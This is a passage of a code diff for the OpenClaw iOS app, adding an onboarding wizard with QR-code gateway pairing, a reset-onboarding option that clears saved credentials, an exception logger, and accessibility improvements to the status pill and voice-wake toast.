let hasToken = !self.gatewayToken.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
let hasPassword = !self.gatewayPassword.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
if !self.didAutoPresentQR, !hasSavedGateway, !hasToken, !hasPassword {
self.didAutoPresentQR = true
self.statusLine = "No saved pairing found. Scan QR code to connect."
self.showQRScanner = true
}
}
private func scheduleDiscoveryRestart() {
self.discoveryRestartTask?.cancel()
self.discoveryRestartTask = Task { @MainActor in
try? await Task.sleep(nanoseconds: 350_000_000)
guard !Task.isCancelled else { return }
self.gatewayController.restartDiscovery()
}
}
private func saveGatewayCredentials(token: String, password: String) {
let trimmedInstanceId = self.instanceId.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmedInstanceId.isEmpty else { return }
let trimmedToken = token.trimmingCharacters(in: .whitespacesAndNewlines)
GatewaySettingsStore.saveGatewayToken(trimmedToken, instanceId: trimmedInstanceId)
let trimmedPassword = password.trimmingCharacters(in: .whitespacesAndNewlines)
GatewaySettingsStore.saveGatewayPassword(trimmedPassword, instanceId: trimmedInstanceId)
}
private func connectDiscoveredGateway(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async {
self.connectingGatewayID = gateway.id
self.issue = .none
self.connectMessage = "Connecting to \(gateway.name)"
self.statusLine = "Connecting to \(gateway.name)"
defer { self.connectingGatewayID = nil }
await self.gatewayController.connect(gateway)
}
private func selectMode(_ mode: OnboardingConnectionMode) {
self.selectedMode = mode
self.applyModeDefaults(mode)
}
private func applyModeDefaults(_ mode: OnboardingConnectionMode) {
let host = self.manualHost.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
let hostIsDefaultLike = host.isEmpty || host == "openclaw.local" || host == "localhost"
switch mode {
case .homeNetwork:
if hostIsDefaultLike { self.manualHost = "openclaw.local" }
self.manualTLS = true
if self.manualPort <= 0 || self.manualPort > 65535 { self.manualPort = 18789 }
case .remoteDomain:
if host == "openclaw.local" || host == "localhost" { self.manualHost = "" }
self.manualTLS = true
if self.manualPort <= 0 || self.manualPort > 65535 { self.manualPort = 18789 }
case .developerLocal:
if hostIsDefaultLike { self.manualHost = "localhost" }
self.manualTLS = false
if self.manualPort <= 0 || self.manualPort > 65535 { self.manualPort = 18789 }
}
}
private func gatewayHasResolvableHost(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) -> Bool {
let lanHost = gateway.lanHost?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if !lanHost.isEmpty { return true }
let tailnetDns = gateway.tailnetDns?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
return !tailnetDns.isEmpty
}
private func connectManual() async {
let host = self.manualHost.trimmingCharacters(in: .whitespacesAndNewlines)
guard !host.isEmpty, self.manualPort > 0, self.manualPort <= 65535 else { return }
self.connectingGatewayID = "manual"
self.issue = .none
self.connectMessage = "Connecting to \(host)"
self.statusLine = "Connecting to \(host):\(self.manualPort)"
defer { self.connectingGatewayID = nil }
await self.gatewayController.connectManual(host: host, port: self.manualPort, useTLS: self.manualTLS)
}
private func retryLastAttempt() async {
self.connectingGatewayID = "retry"
self.issue = .none
self.connectMessage = "Retrying…"
self.statusLine = "Retrying last connection…"
defer { self.connectingGatewayID = nil }
await self.gatewayController.connectLastKnown()
}
}
private struct OnboardingModeRow: View {
let title: String
let subtitle: String
let selected: Bool
let action: () -> Void
var body: some View {
Button(action: self.action) {
HStack {
VStack(alignment: .leading, spacing: 2) {
Text(self.title)
.font(.body.weight(.semibold))
Text(self.subtitle)
.font(.footnote)
.foregroundStyle(.secondary)
}
Spacer()
Image(systemName: self.selected ? "checkmark.circle.fill" : "circle")
.foregroundStyle(self.selected ? Color.accentColor : Color.secondary)
}
}
.buttonStyle(.plain)
}
}

View File

@@ -0,0 +1,96 @@
import OpenClawKit
import SwiftUI
import VisionKit
struct QRScannerView: UIViewControllerRepresentable {
let onGatewayLink: (GatewayConnectDeepLink) -> Void
let onError: (String) -> Void
let onDismiss: () -> Void
func makeUIViewController(context: Context) -> UIViewController {
guard DataScannerViewController.isSupported else {
context.coordinator.reportError("QR scanning is not supported on this device.")
return UIViewController()
}
guard DataScannerViewController.isAvailable else {
context.coordinator.reportError("Camera scanning is currently unavailable.")
return UIViewController()
}
let scanner = DataScannerViewController(
recognizedDataTypes: [.barcode(symbologies: [.qr])],
isHighlightingEnabled: true)
scanner.delegate = context.coordinator
do {
try scanner.startScanning()
} catch {
context.coordinator.reportError("Could not start QR scanner.")
}
return scanner
}
func updateUIViewController(_: UIViewController, context _: Context) {}
static func dismantleUIViewController(_ uiViewController: UIViewController, coordinator: Coordinator) {
if let scanner = uiViewController as? DataScannerViewController {
scanner.stopScanning()
}
coordinator.parent.onDismiss()
}
func makeCoordinator() -> Coordinator {
Coordinator(parent: self)
}
final class Coordinator: NSObject, DataScannerViewControllerDelegate {
let parent: QRScannerView
private var handled = false
private var reportedError = false
init(parent: QRScannerView) {
self.parent = parent
}
func reportError(_ message: String) {
guard !self.reportedError else { return }
self.reportedError = true
Task { @MainActor in
self.parent.onError(message)
}
}
func dataScanner(_: DataScannerViewController, didAdd items: [RecognizedItem], allItems _: [RecognizedItem]) {
guard !self.handled else { return }
for item in items {
guard case let .barcode(barcode) = item,
let payload = barcode.payloadStringValue
else { continue }
// Try setup code format first (base64url JSON from /pair qr).
if let link = GatewayConnectDeepLink.fromSetupCode(payload) {
self.handled = true
self.parent.onGatewayLink(link)
return
}
// Fall back to deep link URL format (openclaw://gateway?...).
if let url = URL(string: payload),
let route = DeepLinkParser.parse(url),
case let .gateway(link) = route
{
self.handled = true
self.parent.onGatewayLink(link)
return
}
}
}
func dataScanner(_: DataScannerViewController, didRemove _: [RecognizedItem], allItems _: [RecognizedItem]) {}
func dataScanner(
_: DataScannerViewController,
becameUnavailableWithError _: DataScannerViewController.ScanningUnavailable)
{
self.reportError("Camera is not available on this device.")
}
}
}

View File

@@ -1,4 +1,5 @@
import SwiftUI
import Foundation
@main
struct OpenClawApp: App {
@@ -7,6 +8,7 @@ struct OpenClawApp: App {
@Environment(\.scenePhase) private var scenePhase
init() {
Self.installUncaughtExceptionLogger()
GatewaySettingsStore.bootstrapPersistence()
let appModel = NodeAppModel()
_appModel = State(initialValue: appModel)
@@ -29,3 +31,18 @@ struct OpenClawApp: App {
}
}
}
extension OpenClawApp {
private static func installUncaughtExceptionLogger() {
NSLog("OpenClaw: installing uncaught exception handler")
NSSetUncaughtExceptionHandler { exception in
// Useful when the app hits NSExceptions from SwiftUI/WebKit internals; these do not
// produce a normal Swift error backtrace.
let reason = exception.reason ?? "(no reason)"
NSLog("UNCAUGHT EXCEPTION: %@ %@", exception.name.rawValue, reason)
for line in exception.callStackSymbols {
NSLog(" %@", line)
}
}
}
}

View File

@@ -3,34 +3,69 @@ import UIKit
struct RootCanvas: View {
@Environment(NodeAppModel.self) private var appModel
@Environment(GatewayConnectionController.self) private var gatewayController
@Environment(VoiceWakeManager.self) private var voiceWake
@Environment(\.colorScheme) private var systemColorScheme
@Environment(\.scenePhase) private var scenePhase
@AppStorage(VoiceWakePreferences.enabledKey) private var voiceWakeEnabled: Bool = false
@AppStorage("screen.preventSleep") private var preventSleep: Bool = true
@AppStorage("canvas.debugStatusEnabled") private var canvasDebugStatusEnabled: Bool = false
@AppStorage("onboarding.requestID") private var onboardingRequestID: Int = 0
@AppStorage("gateway.onboardingComplete") private var onboardingComplete: Bool = false
@AppStorage("gateway.hasConnectedOnce") private var hasConnectedOnce: Bool = false
@AppStorage("gateway.preferredStableID") private var preferredGatewayStableID: String = ""
@AppStorage("gateway.manual.enabled") private var manualGatewayEnabled: Bool = false
@AppStorage("gateway.manual.host") private var manualGatewayHost: String = ""
@AppStorage("onboarding.quickSetupDismissed") private var quickSetupDismissed: Bool = false
@State private var presentedSheet: PresentedSheet?
@State private var voiceWakeToastText: String?
@State private var toastDismissTask: Task<Void, Never>?
@State private var showOnboarding: Bool = false
@State private var onboardingAllowSkip: Bool = true
@State private var didEvaluateOnboarding: Bool = false
@State private var didAutoOpenSettings: Bool = false
private enum PresentedSheet: Identifiable {
case settings
case chat
case quickSetup
var id: Int {
switch self {
case .settings: 0
case .chat: 1
case .quickSetup: 2
}
}
}
enum StartupPresentationRoute: Equatable {
case none
case onboarding
case settings
}
static func startupPresentationRoute(
gatewayConnected: Bool,
hasConnectedOnce: Bool,
onboardingComplete: Bool,
hasExistingGatewayConfig: Bool,
shouldPresentOnLaunch: Bool) -> StartupPresentationRoute
{
if gatewayConnected {
return .none
}
// On first run or explicit launch onboarding state, onboarding always wins.
if shouldPresentOnLaunch || !hasConnectedOnce || !onboardingComplete {
return .onboarding
}
// Settings auto-open is a recovery path for previously-connected installs only.
if !hasExistingGatewayConfig {
return .settings
}
return .none
}
var body: some View {
ZStack {
CanvasContent(
@@ -57,27 +92,58 @@ struct RootCanvas: View {
switch sheet {
case .settings:
SettingsTab()
.environment(self.appModel)
.environment(self.appModel.voiceWake)
.environment(self.gatewayController)
case .chat:
ChatSheet(
gateway: self.appModel.operatorSession,
// Mobile chat UI should use the node role RPC surface (chat.* / sessions.*)
// to avoid requiring operator scopes like operator.read.
gateway: self.appModel.gatewaySession,
sessionKey: self.appModel.mainSessionKey,
agentName: self.appModel.activeAgentName,
userAccent: self.appModel.seamColor)
case .quickSetup:
GatewayQuickSetupSheet()
.environment(self.appModel)
.environment(self.gatewayController)
}
}
.fullScreenCover(isPresented: self.$showOnboarding) {
OnboardingWizardView(
allowSkip: self.onboardingAllowSkip,
onClose: {
self.showOnboarding = false
})
.environment(self.appModel)
.environment(self.appModel.voiceWake)
.environment(self.gatewayController)
}
.onAppear { self.updateIdleTimer() }
.onAppear { self.evaluateOnboardingPresentation(force: false) }
.onAppear { self.maybeAutoOpenSettings() }
.onChange(of: self.preventSleep) { _, _ in self.updateIdleTimer() }
.onChange(of: self.scenePhase) { _, _ in self.updateIdleTimer() }
.onAppear { self.maybeShowQuickSetup() }
.onChange(of: self.gatewayController.gateways.count) { _, _ in self.maybeShowQuickSetup() }
.onAppear { self.updateCanvasDebugStatus() }
.onChange(of: self.canvasDebugStatusEnabled) { _, _ in self.updateCanvasDebugStatus() }
.onChange(of: self.appModel.gatewayStatusText) { _, _ in self.updateCanvasDebugStatus() }
.onChange(of: self.appModel.gatewayServerName) { _, _ in self.updateCanvasDebugStatus() }
.onChange(of: self.appModel.gatewayServerName) { _, newValue in
if newValue != nil {
self.showOnboarding = false
}
}
.onChange(of: self.onboardingRequestID) { _, _ in
self.evaluateOnboardingPresentation(force: true)
}
.onChange(of: self.appModel.gatewayRemoteAddress) { _, _ in self.updateCanvasDebugStatus() }
.onChange(of: self.appModel.gatewayServerName) { _, newValue in
if newValue != nil {
self.onboardingComplete = true
self.hasConnectedOnce = true
OnboardingStateStore.markCompleted(mode: nil)
}
self.maybeAutoOpenSettings()
}
@@ -136,11 +202,31 @@ struct RootCanvas: View {
self.appModel.screen.updateDebugStatus(title: title, subtitle: subtitle)
}
private func shouldAutoOpenSettings() -> Bool {
if self.appModel.gatewayServerName != nil { return false }
if !self.hasConnectedOnce { return true }
if !self.onboardingComplete { return true }
return !self.hasExistingGatewayConfig()
private func evaluateOnboardingPresentation(force: Bool) {
if force {
self.onboardingAllowSkip = true
self.showOnboarding = true
return
}
guard !self.didEvaluateOnboarding else { return }
self.didEvaluateOnboarding = true
let route = Self.startupPresentationRoute(
gatewayConnected: self.appModel.gatewayServerName != nil,
hasConnectedOnce: self.hasConnectedOnce,
onboardingComplete: self.onboardingComplete,
hasExistingGatewayConfig: self.hasExistingGatewayConfig(),
shouldPresentOnLaunch: OnboardingStateStore.shouldPresentOnLaunch(appModel: self.appModel))
switch route {
case .none:
break
case .onboarding:
self.onboardingAllowSkip = true
self.showOnboarding = true
case .settings:
self.didAutoOpenSettings = true
self.presentedSheet = .settings
}
}
private func hasExistingGatewayConfig() -> Bool {
@@ -151,10 +237,26 @@ struct RootCanvas: View {
private func maybeAutoOpenSettings() {
guard !self.didAutoOpenSettings else { return }
guard self.shouldAutoOpenSettings() else { return }
guard !self.showOnboarding else { return }
let route = Self.startupPresentationRoute(
gatewayConnected: self.appModel.gatewayServerName != nil,
hasConnectedOnce: self.hasConnectedOnce,
onboardingComplete: self.onboardingComplete,
hasExistingGatewayConfig: self.hasExistingGatewayConfig(),
shouldPresentOnLaunch: false)
guard route == .settings else { return }
self.didAutoOpenSettings = true
self.presentedSheet = .settings
}
private func maybeShowQuickSetup() {
guard !self.quickSetupDismissed else { return }
guard !self.showOnboarding else { return }
guard self.presentedSheet == nil else { return }
guard self.appModel.gatewayServerName == nil else { return }
guard !self.gatewayController.gateways.isEmpty else { return }
self.presentedSheet = .quickSetup
}
}
private struct CanvasContent: View {
@@ -256,11 +358,64 @@ private struct CanvasContent: View {
}
private var statusActivity: StatusPill.Activity? {
StatusActivityBuilder.build(
appModel: self.appModel,
voiceWakeEnabled: self.voiceWakeEnabled,
cameraHUDText: self.cameraHUDText,
cameraHUDKind: self.cameraHUDKind)
// Status pill owns transient activity state so it doesn't overlap the connection indicator.
if self.appModel.isBackgrounded {
return StatusPill.Activity(
title: "Foreground required",
systemImage: "exclamationmark.triangle.fill",
tint: .orange)
}
let gatewayStatus = self.appModel.gatewayStatusText.trimmingCharacters(in: .whitespacesAndNewlines)
let gatewayLower = gatewayStatus.lowercased()
if gatewayLower.contains("repair") {
return StatusPill.Activity(title: "Repairing…", systemImage: "wrench.and.screwdriver", tint: .orange)
}
if gatewayLower.contains("approval") || gatewayLower.contains("pairing") {
return StatusPill.Activity(title: "Approval pending", systemImage: "person.crop.circle.badge.clock")
}
// Avoid duplicating the primary gateway status ("Connecting") in the activity slot.
if self.appModel.screenRecordActive {
return StatusPill.Activity(title: "Recording screen…", systemImage: "record.circle.fill", tint: .red)
}
if let cameraHUDText, !cameraHUDText.isEmpty, let cameraHUDKind {
let systemImage: String
let tint: Color?
switch cameraHUDKind {
case .photo:
systemImage = "camera.fill"
tint = nil
case .recording:
systemImage = "video.fill"
tint = .red
case .success:
systemImage = "checkmark.circle.fill"
tint = .green
case .error:
systemImage = "exclamationmark.triangle.fill"
tint = .red
}
return StatusPill.Activity(title: cameraHUDText, systemImage: systemImage, tint: tint)
}
if self.voiceWakeEnabled {
let voiceStatus = self.appModel.voiceWake.statusText
if voiceStatus.localizedCaseInsensitiveContains("microphone permission") {
return StatusPill.Activity(title: "Mic permission", systemImage: "mic.slash", tint: .orange)
}
if voiceStatus == "Paused" {
// Talk mode intentionally pauses voice wake to release the mic. Don't spam the HUD for that case.
if self.appModel.talkMode.isEnabled {
return nil
}
let suffix = self.appModel.isBackgrounded ? " (background)" : ""
return StatusPill.Activity(title: "Voice Wake paused\(suffix)", systemImage: "pause.circle.fill")
}
}
return nil
}
}

View File

@@ -3,6 +3,7 @@ import SwiftUI
struct RootTabs: View {
@Environment(NodeAppModel.self) private var appModel
@Environment(VoiceWakeManager.self) private var voiceWake
@Environment(\.accessibilityReduceMotion) private var reduceMotion
@AppStorage(VoiceWakePreferences.enabledKey) private var voiceWakeEnabled: Bool = false
@State private var selectedTab: Int = 0
@State private var voiceWakeToastText: String?
@@ -52,14 +53,14 @@ struct RootTabs: View {
guard !trimmed.isEmpty else { return }
self.toastDismissTask?.cancel()
withAnimation(.spring(response: 0.25, dampingFraction: 0.85)) {
withAnimation(self.reduceMotion ? .none : .spring(response: 0.25, dampingFraction: 0.85)) {
self.voiceWakeToastText = trimmed
}
self.toastDismissTask = Task {
try? await Task.sleep(nanoseconds: 2_300_000_000)
await MainActor.run {
withAnimation(.easeOut(duration: 0.25)) {
withAnimation(self.reduceMotion ? .none : .easeOut(duration: 0.25)) {
self.voiceWakeToastText = nil
}
}

View File

@@ -28,17 +28,27 @@ struct SettingsTab: View {
@AppStorage("gateway.manual.tls") private var manualGatewayTLS: Bool = true
@AppStorage("gateway.discovery.debugLogs") private var discoveryDebugLogsEnabled: Bool = false
@AppStorage("canvas.debugStatusEnabled") private var canvasDebugStatusEnabled: Bool = false
// Onboarding control (RootCanvas listens to onboarding.requestID and force-opens the wizard).
@AppStorage("onboarding.requestID") private var onboardingRequestID: Int = 0
@AppStorage("gateway.onboardingComplete") private var onboardingComplete: Bool = false
@AppStorage("gateway.hasConnectedOnce") private var hasConnectedOnce: Bool = false
@State private var connectingGatewayID: String?
@State private var localIPAddress: String?
@State private var lastLocationModeRaw: String = OpenClawLocationMode.off.rawValue
@State private var gatewayToken: String = ""
@State private var gatewayPassword: String = ""
@State private var talkElevenLabsApiKey: String = ""
@AppStorage("gateway.setupCode") private var setupCode: String = ""
@State private var setupStatusText: String?
@State private var manualGatewayPortText: String = ""
@State private var gatewayExpanded: Bool = true
@State private var selectedAgentPickerId: String = ""
@State private var showResetOnboardingAlert: Bool = false
@State private var suppressCredentialPersist: Bool = false
private let gatewayLogger = Logger(subsystem: "ai.openclaw.ios", category: "GatewaySettings")
var body: some View {
@@ -103,7 +113,6 @@ struct SettingsTab: View {
.foregroundStyle(.secondary)
}
DisclosureGroup("Advanced") {
if self.appModel.gatewayServerName == nil {
LabeledContent("Discovery", value: self.gatewayController.discoveryStatusText)
}
@@ -148,69 +157,74 @@ struct SettingsTab: View {
self.gatewayList(showing: .all)
}
Toggle("Use Manual Gateway", isOn: self.$manualGatewayEnabled)
DisclosureGroup("Advanced") {
Toggle("Use Manual Gateway", isOn: self.$manualGatewayEnabled)
TextField("Host", text: self.$manualGatewayHost)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
TextField("Host", text: self.$manualGatewayHost)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
TextField("Port (optional)", text: self.manualPortBinding)
.keyboardType(.numberPad)
TextField("Port (optional)", text: self.manualPortBinding)
.keyboardType(.numberPad)
Toggle("Use TLS", isOn: self.$manualGatewayTLS)
Toggle("Use TLS", isOn: self.$manualGatewayTLS)
Button {
Task { await self.connectManual() }
} label: {
if self.connectingGatewayID == "manual" {
HStack(spacing: 8) {
ProgressView()
.progressViewStyle(.circular)
Text("Connecting…")
Button {
Task { await self.connectManual() }
} label: {
if self.connectingGatewayID == "manual" {
HStack(spacing: 8) {
ProgressView()
.progressViewStyle(.circular)
Text("Connecting…")
}
} else {
Text("Connect (Manual)")
}
} else {
Text("Connect (Manual)")
}
}
.disabled(self.connectingGatewayID != nil || self.manualGatewayHost
.trimmingCharacters(in: .whitespacesAndNewlines)
.isEmpty || !self.manualPortIsValid)
.disabled(self.connectingGatewayID != nil || self.manualGatewayHost
.trimmingCharacters(in: .whitespacesAndNewlines)
.isEmpty || !self.manualPortIsValid)
Text(
"Use this when mDNS/Bonjour discovery is blocked. "
+ "Leave port empty for 443 on tailnet DNS (TLS) or 18789 otherwise.")
.font(.footnote)
.foregroundStyle(.secondary)
Text(
"Use this when mDNS/Bonjour discovery is blocked. "
+ "Leave port empty for 443 on tailnet DNS (TLS) or 18789 otherwise.")
.font(.footnote)
.foregroundStyle(.secondary)
Toggle("Discovery Debug Logs", isOn: self.$discoveryDebugLogsEnabled)
.onChange(of: self.discoveryDebugLogsEnabled) { _, newValue in
self.gatewayController.setDiscoveryDebugLoggingEnabled(newValue)
Toggle("Discovery Debug Logs", isOn: self.$discoveryDebugLogsEnabled)
.onChange(of: self.discoveryDebugLogsEnabled) { _, newValue in
self.gatewayController.setDiscoveryDebugLoggingEnabled(newValue)
}
NavigationLink("Discovery Logs") {
GatewayDiscoveryDebugLogView()
}
NavigationLink("Discovery Logs") {
GatewayDiscoveryDebugLogView()
Toggle("Debug Canvas Status", isOn: self.$canvasDebugStatusEnabled)
TextField("Gateway Auth Token", text: self.$gatewayToken)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
SecureField("Gateway Password", text: self.$gatewayPassword)
Button("Reset Onboarding", role: .destructive) {
self.showResetOnboardingAlert = true
}
VStack(alignment: .leading, spacing: 6) {
Text("Debug")
.font(.footnote.weight(.semibold))
.foregroundStyle(.secondary)
Text(self.gatewayDebugText())
.font(.system(size: 12, weight: .regular, design: .monospaced))
.foregroundStyle(.secondary)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(10)
.background(.thinMaterial, in: RoundedRectangle(cornerRadius: 10, style: .continuous))
}
}
Toggle("Debug Canvas Status", isOn: self.$canvasDebugStatusEnabled)
TextField("Gateway Token", text: self.$gatewayToken)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
SecureField("Gateway Password", text: self.$gatewayPassword)
VStack(alignment: .leading, spacing: 6) {
Text("Debug")
.font(.footnote.weight(.semibold))
.foregroundStyle(.secondary)
Text(self.gatewayDebugText())
.font(.system(size: 12, weight: .regular, design: .monospaced))
.foregroundStyle(.secondary)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(10)
.background(.thinMaterial, in: RoundedRectangle(cornerRadius: 10, style: .continuous))
}
}
} label: {
HStack(spacing: 10) {
Circle()
@@ -235,6 +249,12 @@ struct SettingsTab: View {
.onChange(of: self.talkEnabled) { _, newValue in
self.appModel.setTalkEnabled(newValue)
}
SecureField("Talk ElevenLabs API Key (optional)", text: self.$talkElevenLabsApiKey)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
Text("Use this local override when gateway config redacts talk.apiKey for mobile clients.")
.font(.footnote)
.foregroundStyle(.secondary)
// Keep this separate so users can hide the side bubble without disabling Talk Mode.
Toggle("Show Talk Button", isOn: self.$talkButtonEnabled)
@@ -303,6 +323,15 @@ struct SettingsTab: View {
.accessibilityLabel("Close")
}
}
.alert("Reset Onboarding?", isPresented: self.$showResetOnboardingAlert) {
Button("Reset", role: .destructive) {
self.resetOnboarding()
}
Button("Cancel", role: .cancel) {}
} message: {
Text(
"This will disconnect, clear saved gateway connection + credentials, and reopen the onboarding wizard.")
}
.onAppear {
self.localIPAddress = NetworkInterfaces.primaryIPv4Address()
self.lastLocationModeRaw = self.locationEnabledModeRaw
@@ -312,6 +341,7 @@ struct SettingsTab: View {
self.gatewayToken = GatewaySettingsStore.loadGatewayToken(instanceId: trimmedInstanceId) ?? ""
self.gatewayPassword = GatewaySettingsStore.loadGatewayPassword(instanceId: trimmedInstanceId) ?? ""
}
self.talkElevenLabsApiKey = GatewaySettingsStore.loadTalkElevenLabsApiKey() ?? ""
// Keep setup front-and-center when disconnected; keep things compact once connected.
self.gatewayExpanded = !self.isGatewayConnected
self.selectedAgentPickerId = self.appModel.selectedAgentId ?? ""
@@ -331,17 +361,22 @@ struct SettingsTab: View {
GatewaySettingsStore.savePreferredGatewayStableID(trimmed)
}
.onChange(of: self.gatewayToken) { _, newValue in
guard !self.suppressCredentialPersist else { return }
let trimmed = newValue.trimmingCharacters(in: .whitespacesAndNewlines)
let instanceId = self.instanceId.trimmingCharacters(in: .whitespacesAndNewlines)
guard !instanceId.isEmpty else { return }
GatewaySettingsStore.saveGatewayToken(trimmed, instanceId: instanceId)
}
.onChange(of: self.gatewayPassword) { _, newValue in
guard !self.suppressCredentialPersist else { return }
let trimmed = newValue.trimmingCharacters(in: .whitespacesAndNewlines)
let instanceId = self.instanceId.trimmingCharacters(in: .whitespacesAndNewlines)
guard !instanceId.isEmpty else { return }
GatewaySettingsStore.saveGatewayPassword(trimmed, instanceId: instanceId)
}
.onChange(of: self.talkElevenLabsApiKey) { _, newValue in
GatewaySettingsStore.saveTalkElevenLabsApiKey(newValue)
}
.onChange(of: self.manualGatewayPort) { _, _ in
self.syncManualPortText()
}
@@ -421,10 +456,11 @@ struct SettingsTab: View {
ForEach(rows) { gateway in
HStack {
VStack(alignment: .leading, spacing: 2) {
Text(gateway.name)
// Avoid localized-string formatting edge cases from Bonjour-advertised names.
Text(verbatim: gateway.name)
let detailLines = self.gatewayDetailLines(gateway)
ForEach(detailLines, id: \.self) { line in
Text(line)
Text(verbatim: line)
.font(.footnote)
.foregroundStyle(.secondary)
}
@@ -510,7 +546,10 @@ struct SettingsTab: View {
GatewaySettingsStore.saveLastDiscoveredGatewayStableID(gateway.stableID)
defer { self.connectingGatewayID = nil }
await self.gatewayController.connect(gateway)
let err = await self.gatewayController.connectWithDiagnostics(gateway)
if let err {
self.setupStatusText = err
}
}
private func connectLastKnown() async {
@@ -849,6 +888,43 @@ struct SettingsTab: View {
SettingsNetworkingHelpers.httpURLString(host: host, port: port, fallback: fallback)
}
private func resetOnboarding() {
// Disconnect first so RootCanvas doesn't instantly mark onboarding complete again.
self.appModel.disconnectGateway()
self.connectingGatewayID = nil
self.setupStatusText = nil
self.setupCode = ""
self.gatewayAutoConnect = false
self.suppressCredentialPersist = true
defer { self.suppressCredentialPersist = false }
self.gatewayToken = ""
self.gatewayPassword = ""
let trimmedInstanceId = self.instanceId.trimmingCharacters(in: .whitespacesAndNewlines)
if !trimmedInstanceId.isEmpty {
GatewaySettingsStore.deleteGatewayCredentials(instanceId: trimmedInstanceId)
}
// Reset onboarding state + clear saved gateway connection (the two things RootCanvas checks).
GatewaySettingsStore.clearLastGatewayConnection()
// RootCanvas also short-circuits onboarding when these are true.
self.onboardingComplete = false
self.hasConnectedOnce = false
// Clear manual override so it doesn't count as an existing gateway config.
self.manualGatewayEnabled = false
self.manualGatewayHost = ""
// Force re-present even without app restart.
self.onboardingRequestID += 1
// The onboarding wizard is presented from RootCanvas; dismiss Settings so it can show.
self.dismiss()
}
private func gatewayDetailLines(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) -> [String] {
var lines: [String] = []
if let lanHost = gateway.lanHost { lines.append("LAN: \(lanHost)") }

View File

@@ -2,6 +2,8 @@ import SwiftUI
struct StatusPill: View {
@Environment(\.scenePhase) private var scenePhase
@Environment(\.accessibilityReduceMotion) private var reduceMotion
@Environment(\.colorSchemeContrast) private var contrast
enum GatewayState: Equatable {
case connected
@@ -49,11 +51,11 @@ struct StatusPill: View {
Circle()
.fill(self.gateway.color)
.frame(width: 9, height: 9)
.scaleEffect(self.gateway == .connecting ? (self.pulse ? 1.15 : 0.85) : 1.0)
.opacity(self.gateway == .connecting ? (self.pulse ? 1.0 : 0.6) : 1.0)
.scaleEffect(self.gateway == .connecting && !self.reduceMotion ? (self.pulse ? 1.15 : 0.85) : 1.0)
.opacity(self.gateway == .connecting && !self.reduceMotion ? (self.pulse ? 1.0 : 0.6) : 1.0)
Text(self.gateway.title)
.font(.system(size: 13, weight: .semibold))
.font(.subheadline.weight(.semibold))
.foregroundStyle(.primary)
}
@@ -64,17 +66,17 @@ struct StatusPill: View {
if let activity {
HStack(spacing: 6) {
Image(systemName: activity.systemImage)
.font(.system(size: 13, weight: .semibold))
.font(.subheadline.weight(.semibold))
.foregroundStyle(activity.tint ?? .primary)
Text(activity.title)
.font(.system(size: 13, weight: .semibold))
.font(.subheadline.weight(.semibold))
.foregroundStyle(.primary)
.lineLimit(1)
}
.transition(.opacity.combined(with: .move(edge: .top)))
} else {
Image(systemName: self.voiceWakeEnabled ? "mic.fill" : "mic.slash")
.font(.system(size: 13, weight: .semibold))
.font(.subheadline.weight(.semibold))
.foregroundStyle(self.voiceWakeEnabled ? .primary : .secondary)
.accessibilityLabel(self.voiceWakeEnabled ? "Voice Wake enabled" : "Voice Wake disabled")
.transition(.opacity.combined(with: .move(edge: .top)))
@@ -87,21 +89,28 @@ struct StatusPill: View {
.fill(.ultraThinMaterial)
.overlay {
RoundedRectangle(cornerRadius: 14, style: .continuous)
.strokeBorder(.white.opacity(self.brighten ? 0.24 : 0.18), lineWidth: 0.5)
.strokeBorder(
.white.opacity(self.contrast == .increased ? 0.5 : (self.brighten ? 0.24 : 0.18)),
lineWidth: self.contrast == .increased ? 1.0 : 0.5
)
}
.shadow(color: .black.opacity(0.25), radius: 12, y: 6)
}
}
.buttonStyle(.plain)
.accessibilityLabel("Status")
.accessibilityLabel("Connection Status")
.accessibilityValue(self.accessibilityValue)
.onAppear { self.updatePulse(for: self.gateway, scenePhase: self.scenePhase) }
.accessibilityHint("Double tap to open settings")
.onAppear { self.updatePulse(for: self.gateway, scenePhase: self.scenePhase, reduceMotion: self.reduceMotion) }
.onDisappear { self.pulse = false }
.onChange(of: self.gateway) { _, newValue in
self.updatePulse(for: newValue, scenePhase: self.scenePhase)
self.updatePulse(for: newValue, scenePhase: self.scenePhase, reduceMotion: self.reduceMotion)
}
.onChange(of: self.scenePhase) { _, newValue in
self.updatePulse(for: self.gateway, scenePhase: newValue)
self.updatePulse(for: self.gateway, scenePhase: newValue, reduceMotion: self.reduceMotion)
}
.onChange(of: self.reduceMotion) { _, newValue in
self.updatePulse(for: self.gateway, scenePhase: self.scenePhase, reduceMotion: newValue)
}
.animation(.easeInOut(duration: 0.18), value: self.activity?.title)
}
@@ -113,9 +122,9 @@ struct StatusPill: View {
return "\(self.gateway.title), Voice Wake \(self.voiceWakeEnabled ? "enabled" : "disabled")"
}
private func updatePulse(for gateway: GatewayState, scenePhase: ScenePhase) {
guard gateway == .connecting, scenePhase == .active else {
withAnimation(.easeOut(duration: 0.2)) { self.pulse = false }
private func updatePulse(for gateway: GatewayState, scenePhase: ScenePhase, reduceMotion: Bool) {
guard gateway == .connecting, scenePhase == .active, !reduceMotion else {
withAnimation(reduceMotion ? .none : .easeOut(duration: 0.2)) { self.pulse = false }
return
}

View File

@@ -1,17 +1,19 @@
import SwiftUI
struct VoiceWakeToast: View {
@Environment(\.colorSchemeContrast) private var contrast
var command: String
var brighten: Bool = false
var body: some View {
HStack(spacing: 10) {
Image(systemName: "mic.fill")
.font(.system(size: 14, weight: .semibold))
.font(.subheadline.weight(.semibold))
.foregroundStyle(.primary)
Text(self.command)
.font(.system(size: 14, weight: .semibold))
.font(.subheadline.weight(.semibold))
.foregroundStyle(.primary)
.lineLimit(1)
.truncationMode(.tail)
@@ -23,11 +25,14 @@ struct VoiceWakeToast: View {
.fill(.ultraThinMaterial)
.overlay {
